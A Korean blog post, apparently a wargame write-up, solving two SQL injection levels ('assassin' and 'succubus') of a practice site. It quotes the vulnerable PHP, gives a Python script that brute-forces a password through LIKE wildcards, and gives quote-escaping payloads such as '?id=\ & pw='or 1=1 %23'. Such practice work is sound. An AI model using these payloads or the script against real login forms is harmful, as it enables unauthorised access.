SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/LOS

[LoS] assassin, succubus

SlowTurtle_ 2023. 1. 15. 11:26
728x90

1. assassin

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

이번 문제는 '(싱글쿼터)가 필터링 된다. 따라서 id='admin'으로 넣어줄 수 없기 때문에 like로 pw를 추측해야한다. like는 %를 사용하여 뒤에 값을 몰라도 추측할 수 있다. 예를들어 like 1%라면 1로 시작하는 값들 모두, like 12%라면 12로 시작하는 모든 값 이런 식으로 말이다. 그래서 첫글자에 관계없이 %를 보내보았다.

guest를 출력해줬다. 그래서 첫글자를 알기위해 0~9까지 또는 A~Z까지 한 번만 해보자해서 시도했는데

9에서 guest가 나왔다. admin은 아직 못봤기에 A~Z까지해봤는데 안나온다... 생각해보니 첫 글자가 guest랑 admin 둘 다 9일 때 예를들어 id가 0이라는 식으로 순서가 guest가 더 먼저라면 guest랑 일부로 겹치는 비밀번호로 설정했을 수 있겠구나 생각했다. 그럼 Hello guest가 아닌 Hello admin이 나올 때까지 대입해보면 되겠다 싶었다. 길이가 얼마나 길지 모르니 파이썬 스크립트를 작성해봤다.

import requests 

cookie = {'PHPSESSID':'p2rmv5b2cqhi5jthugumjsevuv'}

pw = ""
for i in range(1,10) :
    for j in range(48, 123) :
        if j == 95 :
            continue
        host = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
        query = "?pw=" + pw + chr(j) + "%"
        url = host + query
        r = requests.get(url = url, cookies = cookie)
        if "Hello admin" in r.text :
            pw += chr(j)
            print("admin : ", pw)
            break
        if "Hello guest" in r.text :
            pw += chr(j)
            print("guest : ", pw)
            
print("password : " + pw)

orc에서 썼던 스크립트에서 필요한 것을 참고해서 사용했다. 우선 길이는 정확하게 몰라서 1~10까지로 반복되게 설정했다. 아스키 코드표에서 48인 0부터 122인 z까지 확인했다. 즉, 0~9과 A~z까지 알아보기위함. 계속 _이 뜨면서 이상한 값들이 나오길래 왜일까 생각을 했는데 48~122 중 95가 _가 포함되어있었는데 like연산자에서 _는 문자 하나를 대신한다는 것을 알게 되었다. 따라서 하나를 대신하면서 값이 달라졌다. 두 번째 반복문의 시작을 if절로 j가 95일 때 그냥 지나가는 즉 _를 제외하기 위해서 if문을 넣어주고 돌리니 제대로 된 값들이 나오기 시작했다.

_을 제외하지 않았을 때
_을 제외한

사실상 guest와 admin의 pw값은 90까지만 같고 902부턴 admin의 pw로 진행되기때문에 902%만 보내줘도 해결이 가능하다.

?pw=902%

을 보내보니

해결했다.

 

2. succubus

코드를 보자

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

이번 문제는 '(싱글쿼터)를 필터링하고 있다. 그럼 이제 '(싱글쿼터)를 우회해야하는데 "으로 우회할까 했지만 $query를 보면 입력받은 값 양쪽에 '(싱글쿼터)가 있어서 "(더블쿼터)은 사용할 수 없다. '(싱글쿼터)를 우회하는 방법을 찾아보니 \을 사용하여 뒷 내용을 문자열로 인식하게 하는 것이다. pw=' (받은 pw) '" 형식인데 pw=' 이 문자열로 인식되어 앞이 False가 되고 GET방식으로 pw를 or 1=1 %23을 주면 뒷 '"은 주석처리되면서 해결할 수 있다.

?id=\ & pw='or 1=1 %23

입력해주면

해결했다.

 

이번 주차는 SQL Injection에 관한 문제들만 풀어봤는데 드림핵을 통해서 삽질도 많이해보고 파이썬 스크립트에서 수 많은 오류와 결과가 안나오는 것을 많이 경험하니 문제 푸는데에 대해서 조금 더 수월했다. 그러나 아직 모르는 것들도 많았고 진짜 아다르고 어다르다고 한 글자가 모든 것을 좌우할 때도 있는 것 같다. 파이썬 스크립트를 작성하면서 조금 다르게 해보고 이건 왜 출력이 안될까 고민하고 조금 더 빨리 출력될 수는 없을까 시도해보는 시간이 길었던 것 같다. 파이썬 돌렸을 때 손바닥을 꽤 많이 비볐다... 이제 정말 얼마남지 않았는데 조금만 더 힘내서 노력해야겠다.

728x90